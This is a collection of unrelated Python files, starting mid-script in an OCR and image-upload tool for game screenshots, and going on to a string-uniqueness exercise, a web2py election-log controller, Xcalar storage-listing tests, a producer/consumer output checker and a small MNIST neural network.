        if('合成器' in data[i]['ocr_result']['words_result'][o]['words']):
            item['hechengqi'] = data[i]['ocr_result']['words_result'][o]['words']
        if('合成获' in data[i]['ocr_result']['words_result'][o]['words']):
            item['hecheng'] = data[i]['ocr_result']['words_result'][o]['words']

    im = Image.open(data[i]['orignal_img'])
    rgb_im = im.convert('RGB')
    r, g, b = rgb_im.getpixel((16, 25))
    try:
        item['grade'] = grades[r]
    except:
        if(r > 200):
            item['grade'] = 'orange'
        else:
            item['grade'] = "I don't know!!!"
    m = MultipartEncoder(
        fields={
            'file': 'multipart',
                    'Filedata': ('a.png', open('./game_image_opt/'+str(item['file'])+'.png', 'rb'), 'image/png')
        }
    )
    while(1):
        try:
            res = requests.post(
                'https://api.uomg.com/api/image.ali', timeout=10, headers={'Content-Type': m.content_type}, data=m)
            j = res.json()
            print(j, './game_image_opt/'+str(item['file'])+'.png')
            if(j['code'] == 1):
                item['url'] = j['imgurl']
            result.append(item)
            break
        except Exception as e:
            print(e)

print('███████████████done███████████████')
with open('./final.json', 'w') as json_file:
    json_file.write(json.dumps(result))


# -*- coding: utf-8 -*-
"""
Created on Tue Aug  9 09:46:33 2016

@author: kiawo

Is Unique: Implement an algorithm to determine if a string has all unique characters.
What if you can not use additional data structures?

"""

# O(N)
import unittest

#def unique(string):
#    # Assuming character set is ASCII (128 characters)
#    if len(string) > 128:
#        return False
#
#    char_set = [False for _ in range(128)]
#    # a list of 128 False!!1
#    for char in string:
#        val = ord(char)
#        # ord returns ASCII number associated to char
#        if char_set[val]:
#            # Char already found in string
#            return False
#        char_set[val] = True
#
#    return True

#======================================================

#without data structure and with sort
#def unique(string):
#    text = sorted(string)
#    for i in range((len(text)-1)):
#        if text[i] == text[i+1]:
#           return False
#    return True

# Using Set(), kia idea 1/8/17

def unique(string):
    string_unique = set(string)
    return len(string_unique)== len(string)

#======================================================

class Test(unittest.TestCase):
    dataT = [('abcd'), ('s4fad'), ('')]
    dataF = [('23ds2'), ('hb 627jh=j ()')]

    def test_unique(self):
        # true check
        for test_string in self.dataT:
            actual = unique(test_string)
            self.assertTrue(actual)
        # false check
        for test_string in self.dataF:
            actual = unique(test_string)
            self.assertFalse(actual)

if __name__ == "__main__":
    unittest.main()


from extractLogs import extractLogs
from extractLogs import InvalidFilesException
from dispatcher import dispatcher
from controllerHelpers import *
from auditLog import AuditLog
from ballotImage import BallotImage
from el68a import EL68A
import os

def index():
    form = FORM(
        'Zipped File:', INPUT(_name='zipped_files', _type='file'),
        INPUT(_type='submit'))

    if form.accepts(request.vars, session) and form.vars.zipped_files != '':
        form.vars.zipped_files.file.seek(0)
        try:
            el152, el155, el68a = extractLogs([form.vars.zipped_files.file], request.folder)
        except InvalidFilesException as e:
            session.file_error = str(e)
            redirect(URL('error'))
        finally:
            del form.vars.zipped_files

        # file name is in el152.name etc.
        # create parsed logs and delete files...
        p_el152 = p_el155 = p_el68a = None
        if el152:
            p_el152 = AuditLog(el152)
            os.unlink(os.path.join(request.folder, 'uploads', el152.name))
            del el152
        if el155 and el68a:
            p_el68a = EL68A(el68a)
            os.unlink(os.path.join(request.folder, 'uploads', el68a.name))
            del el68a
            p_el155 = BallotImage(el155, p_el152, p_el68a)
            os.unlink(os.path.join(request.folder, 'uploads', el155.name))
            del el155
        elif el155 and not el68a:
            p_el155 = BallotImage(el155, p_el152)
            os.unlink(os.path.join(request.folder, 'uploads', el155.name))
            del el155

        # parsed logs are passed to dispatcher
        dictionary = dispatcher(el152=p_el152, el155=p_el155, el68a=p_el68a)

        if dictionary['message'] != 'LOLCAT':
            generateImageIDs(dictionary['results'])
            generateTags(dictionary['results'])

        session.results = dictionary
        redirect(URL('results'))

    return dict(message=None, form=form)

# all the results
def results():
    if not session.results:
        return dict(message='NoSession')
    else:
        return session.results

def about():
    return dict(message='')

def privacy():
    return dict(message='')

def contact():
    return dict(message='')

def error():
    return dict(message=session.file_error)

# stream requested image to browser
def histogram():
    imageID = request.args(0).split('.')[0]
    data = session.vcImageMap[imageID]
    data.seek(0)
    return response.stream(data)

# send requested image to browser (for download)
def histogram_download():
    imageID = request.args(0).split('.')[0]
    filename = 'graph_' + imageID + '.png'
    response.headers['Content-Disposition']='attachment; filename='+filename
    data = session.vcImageMap[imageID]
    data.seek(0)
    return response.stream(data)

# setEmbedTags and populate session.vcImageMap['imageID'] -> ImageData
def generateTags(reports):
    session.vcImageMap = {}

    for report in reports:
        if report.hasImages():
            for image in report.getImagesList():
                session.vcImageMap[image.getImageID()] = image.getData()
                tag = A(
                    IMG(_src=URL(r=request, f='histogram/' + image.getImageID() + '.png'),
                        _alt=''+image.getImageID(),
                        _width=640
                     ),
                    _href=URL(r=request, f='histogram_download/' + image.getImageID() + '.png')
                )
                image.setEmbedTags(tag)


lista_mea = ["Marian", "Roger", "Anna", "Razvan", "Petrica", "Darius", "Rodica", "Anton", "Rares"]
# lista_numere = [1, 6, 2, 3, -1, 4]

def functie_lista(lista):
    nume_r = []
    for i in lista:
        if i[0] == "R" or i[0] == "r":
            print(f'Numele: {i} incepe cu litera R')
            nume_r.append(i)
    nume_r_sortate = sorted(nume_r)
    return nume_r_sortate

print(""""Numele care incep cu litera R
in ordine alfabetica sunt: """, functie_lista(lista_mea))


import os

import pytest

from google.protobuf.json_format import MessageToDict

from xcalar.compute.util.Qa import (buildNativePath, XcalarQaDatasetPath,
                                    buildS3Path, buildGcsPath, buildAzBlobPath)
from xcalar.compute.util.Qa import XcalarQaHDFSHost, DefaultTargetName
from xcalar.compute.util.Qa import XcalarQaS3ClientArgs

from xcalar.external.LegacyApi.XcalarApi import XcalarApiStatusException
from xcalar.compute.localtypes.Connectors_pb2 import ListFilesRequest

from xcalar.compute.coretypes.Status.ttypes import StatusT
from xcalar.external.exceptions import XDPException

hdfsHost = "hdfs-sanity"
if XcalarQaHDFSHost:
    hdfsHost = XcalarQaHDFSHost

hdfsCrimeUrl = "hdfs://{}:8020/datasets/qa/nycCrimeSmall".format(hdfsHost)
hdfsCrimeUrlNoPort = "hdfs://{}/datasets/qa/nycCrimeSmall".format(hdfsHost)

expectedFiles = [
    " ", "tab\tsep", "<", ",", "?", "'", "~", "duplicate", "#", "testFile",
    "|", "!", "`", "@", "^", "]", "&", "_", "[", "\"", "DUPLICATE", "}", ")",
    "+", "(", ";", ".dotPre", "$", ">", "\\", "{", "=", "*", ":", "%", "\t"
]
subFiles = ["subdir/subfile", "subdir/subdir2/subfile2"]
subDirs = ["subdir/subdir2"]
expectedDirs = ["subdir"]
expectedContents = expectedFiles + expectedDirs

expRecurFiles = expectedFiles + subFiles
expRecurDirs = expectedDirs + subDirs
expRecurContents = expRecurFiles + expRecurDirs

# HDFS test expected results
hdfsTopFiles = ["2003.csv", "2014.csv"]
hdfsSubFiles = ["nycCrimeSmall/2003.csv", "nycCrimeSmall/2014.csv"]

expHdfsDirs = ["nycCrimeSmall"]
expHdfsFiles = hdfsTopFiles
expHdfsContents = expHdfsFiles + expHdfsDirs

expHdfsRecurDirs = expHdfsDirs
expHdfsRecurFiles = hdfsTopFiles + hdfsSubFiles
expHdfsRecurContents = expHdfsRecurDirs + expHdfsRecurFiles

expHugeDir = ["hugeDirectoryPart{:07}".format(ii) for ii in range(0, 150000)]

# Target tests
shared_qa_target_name = "QA shared target"
s3_minio_target_name = "QA S3 minio"
gcs_target_name = "QA GCS"
azblob_target_name = "QA azblob"
unsharedSymmTargetName = "QA unshared symmetric"
unsharedSingleNodeTargetName = "QA unshared single node"
targets = [
    (shared_qa_target_name, "shared", {
        "mountpoint": XcalarQaDatasetPath
    }),
    (unsharedSymmTargetName, "sharednothingsymm", {
        "mountpoint": XcalarQaDatasetPath
    }),
    (unsharedSingleNodeTargetName, "sharednothingsingle", {}),
    (s3_minio_target_name, "s3fullaccount", {
        "access_key": XcalarQaS3ClientArgs["aws_access_key_id"],
        "secret_access_key": XcalarQaS3ClientArgs["aws_secret_access_key"],
        "endpoint_url": XcalarQaS3ClientArgs["endpoint_url"],
        "region_name": XcalarQaS3ClientArgs["region_name"],
        "verify": "true" if XcalarQaS3ClientArgs["verify"] else "false",
    }),
    (gcs_target_name, "gcsenviron", {}),
    (
        azblob_target_name,
        "azblobfullaccount",
        {
            "account_name": "xcdatasetswestus2",
            "sas_token": ""    # Fill this in with a sas_token to test
        }),
]

ENABLE_CLOUD_TESTS = False

# We're going to run the edge case tests on these targets
standard_targets = [
    (shared_qa_target_name, (lambda x: x)),
    (s3_minio_target_name, buildS3Path),
    pytest.param(
        gcs_target_name,
        buildGcsPath,
        marks=pytest.mark.skipif(
            not ENABLE_CLOUD_TESTS,
            reason="jenkins running cloud tests is expensive")),
    pytest.param(
        azblob_target_name,
        buildAzBlobPath,
        marks=pytest.mark.skipif(
            not ENABLE_CLOUD_TESTS,
            reason="jenkins running cloud tests is expensive")),
]

@pytest.fixture(scope="module", autouse=True)
def setup(client):
    for target_name, target_type, target_args in targets:
        client.add_data_target(target_name, target_type, target_args)

    yield client

    for target_name, target_type, target_args in targets:
        client.get_data_target(target_name).delete()

def test_root(client):
    target = client.get_data_target(DefaultTargetName)
    resp = target.list_files("/")
    assert all([item['name'] for item in resp['files']])
    assert all(["/" not in item['name'] for item in resp['files']])

def test_bucket_root_s3(client):
    target = client.get_data_target(s3_minio_target_name)
    resp = target.list_files("/qa.xcalar")
    assert "qa.xcalar" not in [item['name'] for item in resp['files']]

def test_top_list_s3(client):
    try:
        target = client.get_data_target(s3_minio_target_name)
        resp = target.list_files("/", recursive=True)
    except XDPException as e:
        assert "Recursive search only available for a given bucket" in str(e)

@pytest.mark.parametrize("target_name,path_builder", [
    (DefaultTargetName, buildNativePath),
    (shared_qa_target_name, lambda x: x),
])
def test_edge_characters(client, target_name, path_builder):
    target = client.get_data_target(target_name)
    path1 = path_builder("edgeCases/iterTests/")
    path2 = path_builder("edgeCases/iterTests")
    resp1 = target.list_files(path1)
    resp2 = target.list_files(path2)

    def flatten(items):
        return set([tuple([v for v in item.values()]) for item in items])

    assert flatten(resp1['files']) == flatten(resp2['files'])
    assert set(
        [item['name'] for item in resp1['files']]) == set(expectedContents)

    files = [item['name'] for item in resp1['files'] if not item['isDir']]
    dirs = [item['name'] for item in resp1['files'] if item['isDir']]

    assert set(files) == set(expectedFiles)
    assert set(dirs) == set(expectedDirs)

@pytest.mark.parametrize(
    "target_name,path",
    [(DefaultTargetName, buildNativePath("edgeCases/iterTests")),
     (unsharedSingleNodeTargetName,
      os.path.join("0", XcalarQaDatasetPath.strip('/'), "edgeCases",
                   "iterTests"))])
def test_recursion(client, target_name, path):
    target = client.get_data_target(target_name)
    resp = target.list_files(path, recursive=True)

    items = [item['name'] for item in resp['files']]
    files = [item['name'] for item in resp['files'] if not item['isDir']]
    dirs = [item['name'] for item in resp['files'] if item['isDir']]

    assert sorted(items) == sorted(expRecurContents)
    assert sorted(files) == sorted(expRecurFiles)
    assert sorted(dirs) == sorted(expRecurDirs)

def test_unshared_root(client):
    target = client.get_data_target(unsharedSingleNodeTargetName)
    resp = target.list_files("/", recursive=True)
    # listing / returns N for N in num_nodes
    [int(item['name']) for item in resp['files']]

def test_recursive_unshared_duped(client):
    target_name = unsharedSymmTargetName
    path = os.path.join("edgeCases", "iterTests")
    target = client.get_data_target(target_name)

    resp = target.list_files(path, recursive=True)

    items = [item['name'] for item in resp['files']]
    files = [item['name'] for item in resp['files'] if not item['isDir']]
    dirs = [item['name'] for item in resp['files'] if item['isDir']]

    num_nodes = client.get_num_nodes_in_cluster()
    assert sorted(items) == sorted(expRecurContents * num_nodes)
    assert sorted(files) == sorted(expRecurFiles * num_nodes)
    assert sorted(dirs) == sorted(expRecurDirs * num_nodes)

@pytest.mark.parametrize("target_name,path_builder", standard_targets)
def test_dir_with_suffix(client, target_name, path_builder):
    path = path_builder("sisterDirs/a")
    target = client.get_data_target(target_name)

    resp = target.list_files(path, recursive=True)

    exp_dirs = []
    exp_files = ["a.txt"]
    exp_items = exp_dirs + exp_files

    assert set([item['name'] for item in resp['files']]) == set(exp_items)
    assert set([item['name'] for item in resp['files']
                if item['isDir']]) == set(exp_dirs)
    assert set([item['name'] for item in resp['files']
                if not item['isDir']]) == set(exp_files)

#
# Paged List Files Tests
#

def test_paged_list_files_recursive(client):
    # Recursive only returns files
    target = client.get_data_target(s3_minio_target_name)
    path = buildS3Path("edgeCases/20k/")

    dir_names = [f"part{ii:02}" for ii in range(100)]
    file_names = [f"file{ii:03}" for ii in range(200)]
    all_file_names = [
        f"{dir_name}/{file_name}" for dir_name in dir_names
        for file_name in file_names
    ]

    token = ""
    resp_files = []
    for ii in range(100):    # safer than while True
        resp = target.list_files(path, recursive=True, paged=True, token=token)
        resp_files = resp_files + [item['name'] for item in resp['files']]
        token = resp['continuationToken']
        if token == "":
            break
    assert sorted(resp_files) == sorted(all_file_names)

def test_paged_list_files_with_regex_non_recursive(client):
    # Recursive only returns files
    target = client.get_data_target(s3_minio_target_name)
    path = buildS3Path("edgeCases/20k/")

    name_pattern = 're:part[56][0-9]'

    dir_names = [f"part{ii:02}" for ii in range(50, 70)]
    resp_files = []
    resp = target.list_files(
        path, pattern=name_pattern, recursive=False, paged=True)
    assert resp['continuationToken'] == ""
    assert sorted(
        [item['name'] for item in resp['files']]) == sorted(dir_names)

def test_paged_list_files_with_glob_recursive(client):
    # Recursive only returns files
    target = client.get_data_target(s3_minio_target_name)
    path = buildS3Path("edgeCases/20k/")

    name_pattern = 'file0*'

    # 10K files, by filtering
    dir_names = [f"part{ii:02}" for ii in range(100)]
    file_names = [f"file0{ii:02}" for ii in range(100)]
    all_file_names = [
        f"{dir_name}/{file_name}" for dir_name in dir_names
        for file_name in file_names
    ]

    token = ""
    resp_files = []
    for ii in range(100):    # safer than while True
        resp = target.list_files(
            path,
            pattern=name_pattern,
            recursive=True,
            paged=True,
            token=token)
        resp_files = resp_files + [item['name'] for item in resp['files']]
        token = resp['continuationToken']
        if token == "":
            break
    assert sorted(resp_files) == sorted(all_file_names)


#!/usr/bin/env python

import sys

output_file = sys.argv[1]

with open(output_file) as f:
    lines = map(lambda x: x.strip(), f.readlines())

    nstreams = 12
    nperm = 10

    permutation1 = range(nperm)

    for i in range(nperm):
        permutation1[i] = (i+7) % nperm

    for idx in range(nperm):
        write_line = "Producer called for idx = "+str(idx)+", i = "+str(permutation1.index(idx))+", 3*i = "+str(3*permutation1.index(idx))
        read_line = "Consumer called for idx = "+str(idx)+", i = "+str(permutation1.index(idx))+", 3*i = "+str(3*permutation1.index(idx))

        if not write_line in lines:
            sys.stderr.write("Could not find line '"+write_line+"' in output.\n")
            sys.exit(1)

        if not read_line in lines:
            sys.stderr.write("Could not find line '"+read_line+"' in output.\n")
            sys.exit(1)

        if lines.index(read_line) < lines.index(write_line):
            sys.stderr.write("Read before write for task "+str(i)+".\n")
            sys.exit(1)


from keras.datasets import mnist
import matplotlib.pyplot as plt
import numpy as np
from sklearn.metrics import accuracy_score
from sklearn.preprocessing import OneHotEncoder
import os
import time
os.system("cls")

def ladowanie_danych():
    (x_train, y_train), (x_test, y_test) = mnist.load_data()
    x_train = x_train.reshape((x_train.shape[0], -1)) / 255.
    x_test = x_test.reshape((x_test.shape[0], -1)) / 255.
    return x_train, y_train, x_test, y_test

# definicja funkcji aktywacji
def sigmoid(x):
    return 1 / (1 + np.exp(-x))

# definicja pochodnej funkcji aktywacji do obliczania propagacji wstecznej
def sigmoid_derivative(x):
    return x * (1 - x)

def train(x_train, y_train, batch_size, hidden_layer_size, learning_rate, epochs):
    input_size = x_train.shape[1]
    output_size = len(np.unique(y_train))

    # Inicjalizacja wag warstw ukrytej i wyjściowej
    w1 = np.random.randn(input_size, hidden_layer_size)
    w2 = np.random.randn(hidden_layer_size, output_size)

    # Kodowanie wartości y metodą one hot encoding
    y_train_encoded = OneHotEncoder().fit_transform(y_train.reshape(-1, 1)).toarray()

    # Trenowanie sieci w oparciu o batche
    start_time = time.time()  # Początkowy czas
    for epoch in range(epochs):
        #if(epoch ==20 ):
        #    learning_rate = 0.001
        print(f"Epoka {epoch+1}")
        for i in range(0, x_train.shape[0], batch_size):
            x_batch = x_train[i:i+batch_size]
            y_batch = y_train_encoded[i:i+batch_size]

            #obliczanie wag i wyjść warstw ukrytej i wyjściowej
            hidden_layer_input = np.dot(x_batch, w1)
            hidden_layer_output = sigmoid(hidden_layer_input)
            output_layer_input = np.dot(hidden_layer_output, w2)
            output_layer_output = sigmoid(output_layer_input)

            # Błąd
            error = y_batch - output_layer_output

            # Wsteczna propagacja
            delta_output = error * sigmoid_derivative(output_layer_output)
            delta_hidden = np.dot(delta_output, w2.T) * sigmoid_derivative(hidden_layer_output)

            # Aktualizacja wag
            w2 += np.dot(hidden_layer_output.T, delta_output) * learning_rate
            w1 += np.dot(x_batch.T, delta_hidden) * learning_rate

        # obliczamy skuteczność po każdej epoce
        y_pred = predict(x_train, w1, w2)
        train_accuracy = accuracy_score(y_train, y_pred)
        print(f"Train accuracy: {train_accuracy:.2f}")
    end_time = time.time()  # Końcowy czas
    duration = end_time - start_time  # Obliczanie czasu trwania uczenia
    print(f"Training duration: {duration:.2f} seconds")
    return w1, w2

# fukcja do obliczania wyjścia naszej sieci
def predict(x, w1, w2):
    hidden_layer_input = np.dot(x, w1)
    hidden_layer_output = sigmoid(hidden_layer_input)
    output_layer_input = np.dot(hidden_layer_output, w2)
    output_layer_output = sigmoid(output_layer_input)
    return np.argmax(output_layer_output, axis=1)

#ładujemy dane
x_train, y_train,x_test, y_test = ladowanie_danych()

# przeprowadzamy trening
w1, w2 = train(x_train, y_train, batch_size=32, hidden_layer_size=64, learning_rate=0.02, epochs=40)

# testujemy sieć
y_pred = predict(x_test, w1, w2)
test_accuracy = accuracy_score(y_test, y_pred)
print(f'Test accuracy: {test_accuracy*100:.2f}%')